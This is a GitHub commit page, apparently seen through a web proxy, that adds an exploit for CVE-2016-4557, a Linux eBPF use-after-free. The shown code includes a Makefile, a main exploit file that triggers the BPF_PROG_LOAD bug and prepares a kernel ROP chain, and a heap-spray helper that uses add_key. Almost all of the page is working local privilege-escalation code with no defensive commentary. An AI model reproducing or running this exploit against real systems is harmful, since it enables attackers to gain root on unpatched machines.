Skip to content

Commit a0fe697

Browse files
committed
add an exploit for cve-2016-4557
1 parent 4093ffc commit a0fe697

6 files changed

+782
-0
lines changed

cve-2016-4557-exp3/Makefile

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
all:
2+
gcc -o exp3 exp3.c -Wall -static

cve-2016-4557-exp3/exp3.c

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
#define EXPLOIT
2+
#define _GNU_SOURCE
3+
#include <errno.h>
4+
#include <err.h>
5+
#include <unistd.h>
6+
#include <fcntl.h>
7+
#include <sched.h>
8+
#include <signal.h>
9+
#include <sys/types.h>
10+
#include <sys/stat.h>
11+
#include <sys/syscall.h>
12+
#include <sys/prctl.h>
13+
#include <linux/bpf.h>
14+
#include "log4_e7fbf84e10241ada30c98a0ad975e69838a7066a_log0_0.prog.c"
15+
#ifdef EXPLOIT
16+
#include "heapspray_addkey.c"
17+
#include "rop_payload.c"
18+
#include "userspace_base_mmap.c"
19+
#endif
20+
21+
#ifndef __NR_bpf
22+
# if defined(__i386__)
23+
# define __NR_bpf 357
24+
# elif defined(__x86_64__)
25+
# define __NR_bpf 321
26+
# elif defined(__aarch64__)
27+
# define __NR_bpf 280
28+
# else
29+
# error
30+
# endif
31+
#endif
32+
33+
int do_nothing(void *p) {
34+
prctl(PR_SET_PDEATHSIG, SIGKILL);
35+
while (1){
36+
sleep(1);
37+
}
38+
}
39+
40+
int main(void) {
41+
char buf[4096];
42+
43+
char child_stack[8000];
44+
int child = clone(do_nothing, child_stack + sizeof(child_stack), CLONE_FILES, NULL);
45+
if (child == -1)
46+
err(1, "clone");
47+
48+
int uaf_fd = open("/proc/self/maps", O_RDONLY);
49+
if (uaf_fd == -1)
50+
err(1, "unable to open UAF fd");
51+
52+
struct bpf_insn insns[2] = {
53+
{
54+
.code = BPF_LD | BPF_IMM | BPF_DW,
55+
.src_reg = BPF_PSEUDO_MAP_FD,
56+
.imm = uaf_fd
57+
},
58+
{
59+
}
60+
};
61+
union bpf_attr attr = {
62+
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
63+
.insn_cnt = 2,
64+
.insns = (__aligned_u64) insns,
65+
.license = (__aligned_u64)""
66+
};
67+
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1){
68+
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
69+
}
70+
if (errno != EINVAL){
71+
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
72+
}
73+
74+
//lseek(uaf_fd, 0, SEEK_SET);
75+
sleep(1);
76+
77+
#ifdef EXPLOIT
78+
save_state();
79+
spray_buffer_init();
80+
init_userspace_base();
81+
prepare_krop();
82+
kmalloc(1024*2);
83+
//usleep(200000);
84+
//do_spray=0;
85+
#endif
86+
87+
loop(uaf_fd);
88+
89+
/*
90+
while (1) {
91+
sleep(1);
92+
// at this point, the struct file of uaf_fd should be freed
93+
ssize_t res = read(uaf_fd, buf, 4096);
94+
if (res == -1){
95+
err(1, "unable to read from uaf_fd post-UAF");
96+
}
97+
if (res == 0){
98+
errx(1, "unable to read from uaf_fd post-UAF (EOF)");
99+
}
100+
write(1, buf, res);
101+
lseek(uaf_fd, 0, SEEK_SET);
102+
}
103+
*/
104+
pause();
105+
}

cve-2016-4557-exp3/heapspray_addkey.c

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#define SPRAY_BUF_SIZE 247
2+
char spray_buffer[248];
3+
void spray_buffer_init(){
4+
*(unsigned long*)(spray_buffer + 40)=0xfaceac90;
5+
*(unsigned long*)(spray_buffer + 56)=0x100000000000001;
6+
*(unsigned long*)(spray_buffer + 64)=0x400000000;
7+
*(unsigned long*)(spray_buffer + 72)=1; // mutex
8+
}
9+
10+
#include <stdio.h>
11+
volatile int do_spray=1;
12+
void kmalloc_no_free(int times)
13+
{
14+
int i;
15+
int ret;
16+
char buf[256];
17+
for(i = 0; i < times; i++){
18+
//sprintf(buf,"wtf%d",i);
19+
//memset(exploitbuf2,0x43+i,255);
20+
ret=syscall(__NR_add_key, "user", buf, spray_buffer, SPRAY_BUF_SIZE-0x18, -2);
21+
/*sizeof(struct user_key_payload)=18*/
22+
printf("%x\n", ret);
23+
}
24+
}
25+
void kmalloc(int times)
26+
{
27+
int i;
28+
int ret;
29+
//for(i=0;i<1024;i++)
30+
for(i=0;i<times;i++){
31+
if(do_spray){
32+
//syscall(__NR_add_key, "user", "wtf", exploitbuf, SPRAY_BUF_SIZE, -2);
33+
ret=syscall(__NR_add_key, "root", "wtf", spray_buffer, SPRAY_BUF_SIZE, -2);
34+
}
35+
}
36+
}

0 commit comments

Comments
 (0)
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy